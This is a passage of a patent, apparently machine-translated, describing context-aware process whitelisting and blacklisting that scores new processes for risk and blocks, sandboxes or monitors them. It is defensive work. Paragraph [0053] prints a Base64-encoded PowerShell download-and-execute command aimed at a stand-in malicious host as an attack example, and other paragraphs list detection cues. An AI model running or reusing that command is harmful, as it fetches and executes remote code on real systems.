Process black and white list-oriented security detection method, device, equipment and medium

Abstract

The present disclosure provides a process-oriented whitelist / blacklist security detection method, device, equipment and medium, comprising: collecting static attributes of all executable files from a terminal device; performing global reputation learning on the executable files to obtain global reputation features of the executable files; constructing a context portrait of the executable files; generating a multi-level process knowledge base according to the static attributes of the executable files, the global reputation features of the executable files and the context portrait of the executable files; intercepting a target process when a creation request of the target process is detected, and obtaining process file information corresponding to the target process; creating a process context according to the process file information corresponding to the target process; intelligently matching the process context according to the multi-level process knowledge base to obtain a real-time risk value corresponding to the target process; and determining a security detection result of the target process according to the real-time risk value corresponding to the target process. Thus, the security detection accuracy of the process is effectively improved.

Description

Technical Field

[0001] The embodiments disclosed herein relate to the field of terminal security protection technology, and more specifically, to a security detection method, apparatus, device, and medium applicable to process-oriented blacklists and whitelists. Background Technology

[0002] A process is the basic unit for resource allocation and scheduling in an operating system, and also a carrier for malicious code execution. Traditional process security management mainly relies on static process blacklist and whitelist technology, which prevents the execution of malware by predefining a list of processes that are allowed to run (whitelist) or prohibited from running (blacklist).

[0003] However, with existing technology, static whitelists cannot identify and block unknown programs that are not on the blacklist but have malicious behavior, thus failing to cope with unknown threats and reducing the accuracy of process detection. Summary of the Invention

[0004] The embodiments described herein provide a security detection method, apparatus, device, and medium for process-oriented blacklists and whitelists, overcoming the aforementioned problems.

[0005] Firstly, based on the content of this disclosure, a security detection method oriented towards process blacklists and whitelists is provided, including: Collect the static attributes of all executable files from the terminal device; Global reputation learning is performed on the executable file to obtain the global reputation features of the executable file. The global reputation learning is used to label the executable file with reputation tags and to count the popularity and frequency of the executable file. Construct the context profile of the executable file; A multi-level process knowledge base is generated based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file; the multi-level process knowledge base includes a dynamic whitelist and a dynamic blacklist; When a creation request for the target process is detected, the target process is intercepted, and the process file information corresponding to the target process is obtained; Create a process context based on the process file information corresponding to the target process; The process context is intelligently matched based on the multi-level process knowledge base to obtain the real-time risk value corresponding to the target process. The security detection result of the target process is determined based on the real-time risk value corresponding to the target process.

[0006] Secondly, according to the content of this disclosure, a security detection device oriented towards process blacklists and whitelists is provided, comprising: The data acquisition module is used to collect the static attributes of all executable files from the terminal device. The first determining module is used to perform global reputation learning on the executable file to obtain the global reputation features of the executable file. The global reputation learning is used to label the executable file with reputation tags and to count the popularity and frequency of the executable file. The build module is used to construct the context profile of the executable file; The generation module is used to generate a multi-level process knowledge base based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file; the multi-level process knowledge base includes a dynamic whitelist and a dynamic blacklist; The interception module is used to intercept the target process when a creation request for the target process is detected, and to obtain the process file information corresponding to the target process; A creation module is used to create a process context based on the process file information corresponding to the target process. The matching module is used to intelligently match the process context based on the multi-level process knowledge base to obtain the real-time risk value corresponding to the target process. The second determining module is used to determine the security detection result of the target process based on the real-time risk value corresponding to the target process.

[0007] Thirdly, a computer device is provided, including a memory and a processor, wherein the memory stores a computer program, and the processor executes the computer program to implement the steps of the process-oriented blacklist and whitelist security detection method as described in any of the above embodiments.

[0008] Fourthly, a computer-readable storage medium is provided, on which a computer program is stored, and when the computer program is executed by a processor, it implements the steps of the process-oriented blacklist and whitelist security detection method as described in any of the above embodiments.

[0009] The security detection method based on process whitelists and blacklists provided in this application collects the static attributes of all executable files from the terminal device; performs global reputation learning on the executable files to obtain their global reputation features, which are used to label the executable files with reputation tags and to statistically analyze their popularity and frequency; constructs a contextual profile of the executable files; generates a multi-layered process knowledge base based on the static attributes, global reputation features, and contextual profile of the executable files; the multi-layered process knowledge base includes dynamic whitelists and dynamic blacklists; intercepts the target process when a creation request for the target process is detected and obtains the process file information corresponding to the target process; creates a process context based on the process file information corresponding to the target process; intelligently matches the process context according to the multi-layered process knowledge base to obtain the real-time risk value corresponding to the target process; and determines the security detection result of the target process based on the real-time risk value corresponding to the target process. Thus, by combining context to construct a dynamic multi-layered process knowledge base, it can effectively improve the accuracy of process security detection by defending against unknown threats and advanced attacks.

[0010] The above description is merely an overview of the technical solutions of the embodiments of this application. In order to better understand the technical means of the embodiments of this application and to implement them in accordance with the contents of the specification, and to make the above and other objects, features and advantages of the embodiments of this application more obvious and understandable, specific implementation methods of this application are described below. Attached Figure Description

[0011] To more clearly illustrate the technical solutions of the embodiments of this disclosure, the accompanying drawings of the embodiments will be briefly described below. It should be understood that the drawings described below only relate to some embodiments of this disclosure and are not intended to limit this disclosure, wherein: Figure 1 This is a flowchart illustrating a process-oriented blacklist / whitelist security detection method provided in this publication.

[0012] Figure 2 This is a schematic diagram of a process-oriented blacklist and whitelist security detection device provided in this disclosure.

[0013] Figure 3 This is a schematic diagram of the structure of a computer device provided in this disclosure.

[0014] It should be noted that the elements in the attached diagram are schematic and not drawn to scale. Detailed Implementation

[0015] To make the objectives, technical solutions, and advantages of the embodiments of this disclosure clearer, the technical solutions of the embodiments of this disclosure will be clearly and completely described below with reference to the accompanying drawings. Obviously, the described embodiments are only some, not all, of the embodiments of this disclosure. All other embodiments obtained by those skilled in the art based on the described embodiments of this disclosure without creative effort are also within the scope of protection of this disclosure.

[0016] Unless otherwise defined, all terms used herein (including technical and scientific terms) shall have the same meaning as commonly understood by one of ordinary skill in the art to which this subject matter pertains. It will be further understood that terms such as those defined in commonly used dictionaries shall be interpreted as having the meaning consistent with their meaning in the context of the specification and in the relevant art, and shall not be interpreted in an idealized or overly formal form unless otherwise explicitly defined herein. As used herein, the statement of “connecting” or “coupling” two or more parts together shall mean that these parts are directly joined together or joined through one or more intermediate components.

[0017] The term "embodiment" as used herein means that a particular feature, structure, or characteristic described in connection with an embodiment may be included in at least one embodiment of this application. The appearance of the phrase "embodiment" in various places throughout the specification does not necessarily refer to the same embodiment, nor is it a separate or alternative embodiment mutually exclusive with other embodiments. It will be explicitly and implicitly understood by those skilled in the art that the embodiments described herein can be combined with other embodiments.

[0018] In this document, the term "and / or" is merely a description of the relationship between related objects, indicating that three relationships can exist. For example, A and / or B can mean: A exists, A and B exist simultaneously, or B exists. Additionally, the character " / " generally indicates that the preceding and following related objects have an "or" relationship. Terms such as "first" and "second" are only used to distinguish one component (or part of a component) from another component (or another part of a component).

[0019] In the description of this application, unless otherwise stated, "multiple" means two or more (including two), and similarly, "multiple groups" means two or more (including two groups).

[0020] To enable those skilled in the art to better understand the present application, the technical solutions in the embodiments of the present application will be clearly and completely described below with reference to the accompanying drawings.

[0021] Figure 1 This is a flowchart illustrating a process-oriented blacklist / whitelist security detection method provided in an embodiment of this disclosure, as shown below. Figure 1As shown, the specific process of the process-oriented blacklist / whitelist security detection method includes: S110. Collect the static attributes of all executable files from the terminal device; perform global reputation learning on the executable files to obtain the global reputation features of the executable files.

[0022] The static attributes of an executable file may include, but are not limited to: full path, file hash (MD5, SHA1, SHA256), digital signature information (issuer, subject, validity period), PE file header information (compilation time, exported functions), version information, etc.

[0023] Global reputation learning is used to assign reputation tags to executable files and to statistically analyze the popularity and frequency of executable files.

[0024] In some embodiments, global reputation learning is performed on the executable file to obtain the global reputation features of the executable file, including: In collaboration with the cloud-based threat intelligence center, a global reputation tag is assigned to executable files; based on the historical presence of executable files relative to terminal devices, the popularity of executable files is generated; based on the historical execution frequency of executable files relative to terminal devices, the frequency of execution of executable files is generated; and based on the global reputation tag, popularity, and frequency of execution of executable files, the global reputation characteristics of executable files are determined.

[0025] In particular, by working with the cloud-based threat intelligence center, each executable file is labeled with a global reputation tag, such as: known malicious, known safe, or unknown.

[0026] The historical existence status of an executable file relative to terminal devices represents the number of terminals on which the executable file has existed; the historical execution frequency of an executable file relative to terminal devices represents the frequency at which the executable file is executed. By learning and statistically analyzing the popularity (number of terminals on which it exists) and frequency of use (execution frequency) of each executable file within an enterprise intranet environment, the global reputation label, popularity, and frequency of use of each executable file can be determined as global reputation characteristics of the executable file.

[0027] Therefore, by comprehensively analyzing the multi-dimensional characteristics of executable files, potential threats can be quickly identified, and more reliable protection capabilities can be provided for the enterprise intranet. At the same time, with the help of the real-time update mechanism of the cloud threat intelligence center, the dynamic adjustment of global reputation tags can be ensured to adapt to the ever-changing security environment and ensure that global information characteristics are effective in real time.

[0028] S120. Construct the context profile of the executable file.

[0029] In this embodiment, a process is not viewed in isolation. The profile is constructed through the normal execution context of the recorder to ensure the integrity of the profile.

[0030] In some embodiments, constructing a contextual profile of the executable file includes: Obtain the execution context of the executable file; the execution context of the executable file includes: parent process, startup parameters, execution time, execution region, and execution user; based on the parent process, startup parameters, execution time, execution region, and execution user of the executable file, construct a profile of the executable file to obtain the context profile of the executable file.

[0031] The execution context of executable files includes, for example: svchost.exe is typically started by the parent process of services.exe with a specific service group parameter (-k NetworkService); java.exe is typically started by the parent process of tomcat.exe or eclipse.exe to run JAR packages; and the company's financial software finance.exe is usually only executed by a few computers in the finance department during working hours. A baseline context profile is constructed for each executable file based on common parent processes, startup parameters, execution time / region, and executing user.

[0032] S130. Generate a multi-level process knowledge base based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file.

[0033] The multi-level process knowledge base includes dynamic whitelists and dynamic blacklists.

[0034] In some embodiments, a multi-level process knowledge base is generated based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file, including: A preset generation strategy is adopted to generate a dynamic whitelist based on the static attributes of executable files, the global reputation features of executable files, and the contextual profile of executable files; malicious file hashes are obtained from the cloud threat intelligence center, and a dynamic blacklist is generated based on historical malicious files and malicious file hashes.

[0035] The system utilizes machine learning algorithms to extract features from static attributes and combines these features with the global reputation characteristics and contextual profiles of executable files to generate a dynamic whitelist. Files with high reputation scores are automatically added to the dynamic whitelist and periodically verified based on real-time updated data to ensure their continued trustworthiness. For a file to be included in the whitelist, it must not only be inherently trustworthy (e.g., have a valid signature, high popularity), but its execution context must also conform to historical baseline profiles. The blacklist can be derived from known malicious file hashes from cloud intelligence and files internally confirmed as malicious.

[0036] Therefore, the whitelist and blacklist management system can dynamically adjust the whitelist and blacklist based on the scoring results, and supports linkage with the cloud intelligence center to ensure the accuracy and timeliness of detection.

[0037] S140. When a creation request for the target process is detected, the target process is intercepted, and the process file information corresponding to the target process is obtained; a process context is created based on the process file information corresponding to the target process.

[0038] If a new process creation request is received through the CreateProcess API, the creation request can be intercepted before the target process is actually executed through kernel drivers (such as MiniFilter) or system callback mechanisms. This allows for the acquisition of process file information and creation context. For example, by analyzing information such as the target process's file path, file signature, and file size, a complete process context can be constructed. The process context may include: parent process PID, command-line arguments, user identity, token permissions, etc.

[0039] S150. Intelligent matching of process contexts based on a multi-level process knowledge base to obtain the real-time risk value corresponding to the target process.

[0040] Specifically, the risk assessment of a target process is performed by matching the current process creation event with a smart list (i.e., process context).

[0041] In some embodiments, intelligent matching of process contexts is performed based on a multi-level process knowledge base to obtain the real-time risk value corresponding to the target process, including: Risk detection of process context is performed using a dynamic whitelist from a multi-level process knowledge base to obtain a whitelist risk value; risk detection of process context is performed using a dynamic blacklist from the same multi-level process knowledge base to obtain a blacklist risk value; if the process context is a preset file type, static risk detection is performed to obtain a static risk value; context risk detection is performed on the process context to obtain a context risk value; global reputation detection is performed on the process context to obtain a reputation risk value; and based on the whitelist risk value, blacklist risk value, static risk value, context risk value, and reputation risk value, the real-time risk value corresponding to the target process is determined; if the process context is not a preset file type, the real-time risk value corresponding to the target process is determined based on the whitelist risk value and the blacklist risk value.

[0042] During whitelist detection, if the file hash, path, and signature are all trustworthy, and the execution context perfectly matches the baseline profile (e.g., chrome.exe is launched by explorer.exe during working hours), execution is allowed, indicating a low whitelist risk and no risk to the process. During blacklist detection, if the file hash is present in the malware intelligence database, execution is blocked and an alert is issued, indicating a high whitelist risk and a risk to the process.

[0043] The default file type is an unknown file or a known file with an abnormal context. Gray-scale judgment can be applied to this type of file. For example, static risks include: unsigned file, path in a temporary directory, high entropy (possibly packed). Context risks include: abnormal parent process (e.g., word.exe launching cmd.exe), suspicious command-line arguments (containing sensitive parameters such as -enc (encoding), abnormal execution time (3 AM), and excessively high user privileges (SYSTEM user executing an unknown program). Global reputation risk includes: the file has a popularity of 0 within the enterprise (first appearance).

[0044] When determining the real-time risk value, a real-time risk value can be calculated based on a preset risk weighting model. For example, inputting the whitelist risk value, blacklist risk value, static risk value, context risk value, and reputation risk value into the risk weighting model will yield the real-time risk value corresponding to the target process; or inputting the whitelist risk value and blacklist risk value into the risk weighting model will yield the real-time risk value corresponding to the target process.

[0045] Therefore, by using a multi-level process knowledge base to perform multi-level risk detection on the process context, the accuracy of the real-time risk value of the target process can be improved.

[0046] S160. Determine the security detection result of the target process based on the real-time risk value corresponding to the target process.

[0047] The security detection result of the target process can be categorized as: low risk, medium risk, high risk, or indeterminate. If the real-time risk value is within the first range, the security detection result of the target process is determined to be low risk; if the real-time risk value is within the second range, the security detection result of the target process is determined to be medium risk; if the real-time risk value is within the third range, the security detection result of the target process is determined to be high risk; if the real-time risk value is less than the minimum threshold of the first range or greater than the maximum threshold of the third range, the security detection result of the target process is determined to be indeterminate.

[0048] In this embodiment, static attributes of all executable files are collected from the terminal device; global reputation learning is performed on the executable files to obtain their global reputation features. Global reputation learning is used to label executable files with reputation tags and to statistically analyze their popularity and frequency of use; a contextual profile of the executable files is constructed; a multi-layered process knowledge base is generated based on the static attributes, global reputation features, and contextual profiles of the executable files; the multi-layered process knowledge base includes dynamic whitelists and dynamic blacklists; when a creation request for a target process is detected, the target process is intercepted, and the corresponding process file information is obtained; a process context is created based on the process file information corresponding to the target process; intelligent matching of the process context is performed based on the multi-layered process knowledge base to obtain the real-time risk value corresponding to the target process; and the security detection result of the target process is determined based on the real-time risk value corresponding to the target process. Thus, by combining context to construct a dynamic multi-layered process knowledge base, the accuracy of process security detection can be effectively improved to defend against unknown threats and advanced attacks.

[0049] In some embodiments, the method further includes: providing differentiated responses to the target process based on the security detection results. These differentiated responses include: allowing execution, isolating execution, and blocking execution. For example, for low-risk processes, execution is allowed, but they are marked as "pending observation" and transferred to the continuous behavior monitoring module. For medium-risk processes, execution is isolated in a sandbox to run the process in a restricted environment, allowing for behavior observation without affecting host security while collecting behavioral data. For high-risk processes, execution is blocked, and a security center alert is immediately reported. For processes for which a decision cannot be made, a manual approval process can be triggered, delegating decision-making power to the administrator. This achieves differentiated responses to processes with different risk levels.

[0050] In some embodiments, the method further includes: if the differentiated response corresponding to the target process is to allow execution, then performing full lifecycle monitoring during the execution of the target process; collecting the behavior execution data corresponding to the target process, and identifying whether the target process has malicious behavior based on the behavior execution data; if the target process has malicious behavior, then terminating the execution of the target process.

[0051] For processes allowed to execute, especially those in gray-scale regions, full lifecycle behavioral monitoring is implemented to form a closed loop. This involves monitoring various process behaviors and collecting behavioral data, such as system behaviors (file operations, read / write, delete), registry operations (read / write), network connections (destination IP, port, protocol); process behaviors (attempts to inject into other processes, privilege escalation, creation of remote threads); and sensitive operations (access to sensitive data sources, calls to encrypted APIs). The process's behavioral sequence is compared with a malicious behavior pattern library. If an unknown process exhibits malicious behavior (e.g., encrypting a large number of files and demanding ransom), even if its static characteristics are harmless, its local terminal reputation is immediately marked as malicious, and the process is terminated. If a gray-scale process consistently behaves well during runtime, its trust level can be increased, and subsequent similar execution contexts may be directly allowed. This facilitates comprehensive monitoring during process execution, avoiding the risk of malicious process execution.

[0052] In addition, local analysis results (new malicious file hashes, new legitimate behavior contexts) can be uploaded to a cloud-based knowledge base to optimize the global reputation model. Furthermore, machine learning algorithms are used to automatically optimize the risk assessment weight model based on continuously collected massive amounts of "file-context-behavior" data, making the system increasingly intelligent with use.

[0053] This embodiment also provides a real-world example of detecting malicious PowerShell execution. Attack Scenario: An attacker compromises an employee's computer via phishing, downloads a fileless malicious script, and attempts to execute it via powershell.exe to remotely download more malicious payloads. Implementation Process: The system has learned that c:\windows\system32\powershell.exe is a trusted system file. Its baseline context profile is: typically launched by explorer.exe (user interaction) or cmd.exe, with command-line arguments usually being simple commands or .ps1 script paths. When the malicious script runs, it attempts to execute the command: powershell -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4 AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAtAGMAYwAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQApAA== (This is a Base64 encoded malicious command). The system intercepted this process creation request. Matching judgment: The process itself (powershell.exe) is in the whitelist, but the context is seriously abnormal: The parent process: is an unknown script interpreter in a temporary directory, not explorer.exe. Command line parameters: contain high-risk parameters such as -enc (avoid logging) and -w hidden (create a hidden window), and the parameter values ​​are long, high-entropy encoded strings.

[0054] The real-time risk value was calculated as high risk. The system decisively blocked the creation of this PowerShell process and generated a high-risk alert: "Suspicious PowerShell execution behavior detected, suspected fileless attack." Simultaneously, the encoded string in the command-line parameters was decoded and reported as evidence. This incident was logged, the hash of the unknown script interpreter file was marked as malicious, and synchronized to the entire network. Furthermore, the context mode of PowerShell.exe with the -enc parameter and launched by an untrusted parent process was added to the high-risk mode library for faster subsequent judgment.

[0055] In summary, this embodiment upgrades the rigid static list to a dynamic list that incorporates context and is learnable, significantly enhancing the ability to respond to unknown threats and variant attacks. It introduces intermediate states of "allow but monitor" and "sandbox execution," avoiding the brute force of traditional binary decisions (black and white), achieving a better balance between security and business continuity. It implements full lifecycle protection from "process startup" to "process execution," providing defense-in-depth capabilities. Through multi-dimensional contextual analysis, it can effectively distinguish between normal use and malicious exploitation of legitimate programs (e.g., distinguishing between normal PowerShell and malicious PowerShell), significantly reducing the false positive rate. The system has a feedback learning mechanism, enabling it to learn from each decision and monitoring, automating the detection model and reducing the long-term cost of security operations and maintenance.

[0056] Figure 2 This embodiment provides a schematic diagram of a security detection device based on process blacklists and whitelists. The security detection device based on process blacklists and whitelists may include: The acquisition module 210 is used to acquire the static attributes of all executable files from the terminal device.

[0057] The first determination module 220 is used to perform global reputation learning on the executable file to obtain the global reputation features of the executable file. The global reputation learning is used to label the executable file with reputation tags and to count the popularity and frequency of the executable file.

[0058] Module 230 is used to build the context profile of the executable file.

[0059] The generation module 240 is used to generate a multi-level process knowledge base based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file; the multi-level process knowledge base includes a dynamic whitelist and a dynamic blacklist.

[0060] The interception module 250 is used to intercept the target process when a creation request for the target process is detected, and to obtain the process file information corresponding to the target process.

[0061] Create module 260, which is used to create a process context based on the process file information corresponding to the target process.

[0062] The matching module 270 is used to intelligently match the process context based on a multi-level process knowledge base to obtain the real-time risk value corresponding to the target process.

[0063] The second determining module 280 is used to determine the security detection result of the target process based on the real-time risk value corresponding to the target process.

[0064] In this embodiment, optionally, the first determining module 220 is specifically used for: In collaboration with the cloud-based threat intelligence center, a global reputation tag is assigned to executable files; based on the historical presence of executable files relative to terminal devices, the popularity of executable files is generated; based on the historical execution frequency of executable files relative to terminal devices, the frequency of execution of executable files is generated; and based on the global reputation tag, popularity, and frequency of execution of executable files, the global reputation characteristics of executable files are determined.

[0065] In this embodiment, optionally, the construction module 230 is specifically used for: Obtain the execution context of the executable file; the execution context of the executable file includes: parent process, startup parameters, execution time, execution region, and execution user; based on the parent process, startup parameters, execution time, execution region, and execution user of the executable file, construct a profile of the executable file to obtain the context profile of the executable file.

[0066] In this embodiment, optionally, the generation module 240 is specifically used for: A preset generation strategy is adopted to generate a dynamic whitelist based on the static attributes of executable files, the global reputation features of executable files, and the contextual profile of executable files; malicious file hashes are obtained from the cloud threat intelligence center, and a dynamic blacklist is generated based on historical malicious files and malicious file hashes.

[0067] In this embodiment, optionally, the matching module 270 is specifically used for: Risk detection of process context is performed using a dynamic whitelist from a multi-level process knowledge base to obtain a whitelist risk value; risk detection of process context is performed using a dynamic blacklist from the same multi-level process knowledge base to obtain a blacklist risk value; if the process context is a preset file type, static risk detection is performed to obtain a static risk value; context risk detection is performed on the process context to obtain a context risk value; global reputation detection is performed on the process context to obtain a reputation risk value; and based on the whitelist risk value, blacklist risk value, static risk value, context risk value, and reputation risk value, the real-time risk value corresponding to the target process is determined; if the process context is not a preset file type, the real-time risk value corresponding to the target process is determined based on the whitelist risk value and the blacklist risk value.

[0068] In this embodiment, optionally, a response module may also be included.

[0069] The response module is used to provide differentiated responses to the target process based on the security detection results of the target process. Differentiated responses include: allowing execution, isolating execution, and blocking execution.

[0070] In this embodiment, optionally, a processing module may also be included.

[0071] The processing module is used to perform full lifecycle monitoring of the target process if the differentiated response corresponding to the target process is "allow execution"; collect the behavior execution data corresponding to the target process and identify whether the target process has malicious behavior based on the behavior execution data; if the target process has malicious behavior, terminate the execution of the target process.

[0072] The security detection device for process blacklists and whitelists provided in this disclosure can execute the above-described method embodiments. For its specific implementation principle and technical effects, please refer to the above-described method embodiments, which will not be repeated here.

[0073] This application also provides a computer device. Please refer to the following for details. Figure 3 , Figure 3 This is a basic structural block diagram of the computer device in this embodiment.

[0074] The computer device includes a memory 310 and a processor 320 that are interconnected via a system bus. It should be noted that only a computer device with memory 310 and processor 320 is shown in the figure; however, it should be understood that it is not required to implement all the components shown, and more or fewer components may be implemented alternatively. Those skilled in the art will understand that the computer device described herein is a device capable of automatically performing numerical calculations and / or information processing according to pre-set or stored instructions, and its hardware includes, but is not limited to, microprocessors, application-specific integrated circuits (ASICs), field-programmable gate arrays (FPGAs), digital signal processors (DSPs), embedded devices, etc.

[0075] Computer devices can include desktop computers, laptops, handheld computers, and cloud servers. These devices allow for human-computer interaction with users through keyboards, mice, remote controls, touchpads, or voice-activated devices.

[0076] The memory 310 includes at least one type of readable storage medium, including non-volatile memory or volatile memory, such as flash memory, hard disk, multimedia card, card-type memory (e.g., SD or DX memory), random access memory (RAM), read-only memory (ROM), erasable programmable read-only memory (EPROM), electrically erasable programmable read-only memory (EEPROM), programmable read-only memory (PROM), magnetic memory, magnetic disk, optical disk, etc. RAM may include static RAM or dynamic RAM. In some embodiments, the memory 310 may be an internal storage unit of a computer device, such as the hard disk or memory of the computer device. In other embodiments, the memory 310 may also be an external storage device of the computer device, such as a plug-in hard disk, smart media card (SMC), secure digital (SD) card, or flash card equipped on the computer device. Of course, the memory 310 may include both internal storage units and external storage devices of the computer device. In this embodiment, the memory 310 is typically used to store the operating system and various application software installed on the computer device, such as the program code of the method described above. In addition, the memory 310 can also be used to temporarily store various types of data that have been output or will be output.

[0077] Processor 320 is typically used to perform overall operations of a computer device. In this embodiment, memory 310 is used to store program code or instructions, including computer operation instructions, and processor 320 is used to execute the program code or instructions stored in memory 310 or process data, such as program code that runs the methods described above.

[0078] In this article, the bus can be an Industry Standard Architecture (ISA) bus, a Peripheral Component Interconnect (PCI) bus, or an Extended Industry Standard Architecture (EISA) bus, etc. This bus system can be divided into address bus, data bus, control bus, etc. For ease of illustration, only one thick line is used to represent it in the diagram, but this does not mean that there is only one bus or one type of bus.

[0079] Another embodiment of this application also provides a computer-readable medium, which may be a computer-readable signal medium or a computer-readable medium. A processor in a computer reads computer-readable program code stored in the computer-readable medium, enabling the processor to execute the functional actions specified in each step or combination of steps in the above method; and to generate means for implementing the functional actions specified in each block or combination of blocks in the block diagram.

[0080] Computer-readable media include, but are not limited to, electronic, magnetic, optical, electromagnetic, infrared memory or semiconductor systems, devices or apparatuses, or any suitable combination thereof, wherein the memory is used to store program code or instructions, the program code including computer operation instructions, and the processor is used to execute the program code or instructions of the above-described methods stored in the memory.

[0081] The definitions of memory and processor can be found in the description of the foregoing computer device embodiments, and will not be repeated here.

[0082] In the several embodiments provided in this application, it should be understood that the disclosed systems, apparatuses, and methods can be implemented in other ways. For example, the apparatus embodiments described above are merely illustrative; for instance, the division of modules or units is only a logical functional division, and in actual implementation, there may be other division methods. For example, multiple units or components may be combined or integrated into another system, or some features may be ignored or not executed. Furthermore, the coupling or direct coupling or communication connection shown or discussed may be through some interfaces; the indirect coupling or communication connection between apparatuses or units may be electrical, mechanical, or other forms.

[0083] In the various embodiments of this application, the functional units or modules can be integrated into one processing unit, or each unit can exist physically separately, or two or more units can be integrated into one unit. The integrated unit can be implemented in hardware or as a software functional unit.

[0084] If the integrated unit is implemented as a software functional unit and sold or used as an independent product, it can be stored in a computer-readable storage medium. Based on this understanding, the technical solution of this application, in essence, or the part that contributes to the prior art, or all or part of the technical solution, can be embodied in the form of a software product. This computer software product is stored in a storage medium and includes several instructions to cause a computer device (which may be a personal computer, server, or network device, etc.) or processor to execute all or part of the steps of the methods of the various embodiments of this application. The aforementioned storage medium includes various media capable of storing program code, such as USB flash drives, portable hard drives, read-only memory (ROM), random access memory (RAM), magnetic disks, or optical disks.

[0085] In the claims, any reference signs placed between parentheses should not be construed as limiting the claims. The word "comprising" as described in this application does not exclude the presence of elements or steps not listed in the claims. The word "a" or "an" preceding an element does not exclude the presence of a plurality of such elements. This application can be implemented by means of hardware comprising several different elements and by means of a suitably programmed computer. In the unit claims listing several means, several units of these means may be embodied by the same item of hardware. The use of "first," "second," and "third," etc., does not indicate any order and these words should be interpreted as names. Unless otherwise specified, the steps in the above embodiments should not be construed as limiting the order of execution.

[0086] The above embodiments are only used to illustrate the technical solutions of this application, and are not intended to limit them. Although this application has been described in detail with reference to the foregoing embodiments, those skilled in the art should understand that modifications can still be made to the technical solutions described in the foregoing embodiments, or equivalent substitutions can be made to some of the technical features. Such modifications or substitutions do not cause the essence of the corresponding technical solutions to deviate from the spirit and scope of the technical solutions of the embodiments of this application.

Claims

1. A security detection method based on process blacklists and whitelists, characterized in that, include: Collect the static attributes of all executable files from the terminal device; Global reputation learning is performed on the executable file to obtain the global reputation features of the executable file. The global reputation learning is used to label the executable file with reputation tags and to count the popularity and frequency of the executable file. Construct the context profile of the executable file; A multi-level process knowledge base is generated based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file; the multi-level process knowledge base includes a dynamic whitelist and a dynamic blacklist; When a creation request for the target process is detected, the target process is intercepted, and the process file information corresponding to the target process is obtained; Create a process context based on the process file information corresponding to the target process; The process context is intelligently matched based on the multi-level process knowledge base to obtain the real-time risk value corresponding to the target process. The security detection result of the target process is determined based on the real-time risk value corresponding to the target process; The step of performing global reputation learning on the executable file to obtain the global reputation features of the executable file includes: In conjunction with a cloud-based threat intelligence center, a global reputation tag is assigned to the executable file; based on the historical existence status of the executable file relative to the terminal device, the popularity of the executable file is generated; based on the historical execution frequency of the executable file relative to the terminal device, the common usage of the executable file is generated; based on the global reputation tag, popularity, and common usage of the executable file, the global reputation characteristics of the executable file are determined. The step of intelligently matching the process context based on the multi-level process knowledge base to obtain the real-time risk value corresponding to the target process includes: Risk detection is performed on the process context using the dynamic whitelist in the multi-level process knowledge base to obtain a whitelist risk value; risk detection is also performed on the process context using the dynamic blacklist in the multi-level process knowledge base to obtain a blacklist risk value; if the process context is a preset file type, static risk detection is performed on the process context to obtain a static risk value; context risk detection is performed on the process context to obtain a context risk value; global reputation detection is performed on the process context to obtain a reputation risk value; and based on the whitelist risk value, the blacklist risk value, the static risk value, the context risk value, and the reputation risk value, a real-time risk value corresponding to the target process is determined; if the process context is not a preset file type, a real-time risk value corresponding to the target process is determined based on the whitelist risk value and the blacklist risk value.

2. The method according to claim 1, characterized in that, The construction of the context profile of the executable file includes: Obtain the execution context of the executable file; the execution context of the executable file includes: parent process, startup parameters, execution time, execution region, and execution user; Based on the executable file's parent process, startup parameters, execution time, execution region, and execution user, a profile is constructed for the executable file to obtain its context profile.

3. The method according to claim 1, characterized in that, The step of generating a multi-level process knowledge base based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file includes: The dynamic whitelist is generated using a preset generation strategy, based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file. The dynamic blacklist is generated by obtaining the hashes of malicious files from the cloud-based threat intelligence center and using the historical malicious files and the hashes of those malicious files.

4. The method according to claim 1, characterized in that, Also includes: Based on the security detection results of the target process, a differentiated response is given to the target process, including: allowing execution, isolating execution, and blocking execution.

5. The method according to claim 4, characterized in that, Also includes: If the differentiated response corresponding to the target process is "execution allowed", then full lifecycle monitoring is performed during the execution of the target process; Collect the behavior execution data corresponding to the target process, and identify whether the target process has malicious behavior based on the behavior execution data; If the target process exhibits malicious behavior, the execution of the target process will be terminated.

6. A security detection device based on process blacklists and whitelists, characterized in that, include: The data acquisition module is used to collect the static attributes of all executable files from the terminal device. The first determining module is used to perform global reputation learning on the executable file to obtain the global reputation features of the executable file. The global reputation learning is used to label the executable file with reputation tags and to statistically analyze the popularity and frequency of the executable file. Specifically, the first determining module is used to: link with a cloud-based threat intelligence center to label the global reputation tags of the executable file; generate the popularity of the executable file based on its historical existence status relative to the terminal device; generate the frequency of the executable file based on its historical execution frequency relative to the terminal device; and determine the global reputation features of the executable file based on its global reputation tags, popularity, and frequency of use. The build module is used to construct the context profile of the executable file; The generation module is used to generate a multi-level process knowledge base based on the static attributes of the executable file, the global reputation features of the executable file, and the contextual profile of the executable file; the multi-level process knowledge base includes a dynamic whitelist and a dynamic blacklist; The interception module is used to intercept the target process when a creation request for the target process is detected, and to obtain the process file information corresponding to the target process; A creation module is used to create a process context based on the process file information corresponding to the target process. The matching module is used to intelligently match the process context based on the multi-level process knowledge base to obtain the real-time risk value corresponding to the target process. The matching module is specifically used to: perform risk detection on the process context through the dynamic whitelist in the multi-level process knowledge base, and obtain the whitelist risk value; The process context is risk-detected by the dynamic blacklist in the multi-level process knowledge base to obtain the blacklist risk value. If the process context is a preset file type, then perform static risk detection on the process context to obtain a static risk value; Perform context risk detection on the process context to obtain a context risk value; A global reputation check is performed on the process context to obtain a reputation risk value; Based on the whitelist risk value, the blacklist risk value, the static risk value, the context risk value, and the reputation risk value, the real-time risk value corresponding to the target process is determined. If the process context is a non-preset file type, then the real-time risk value corresponding 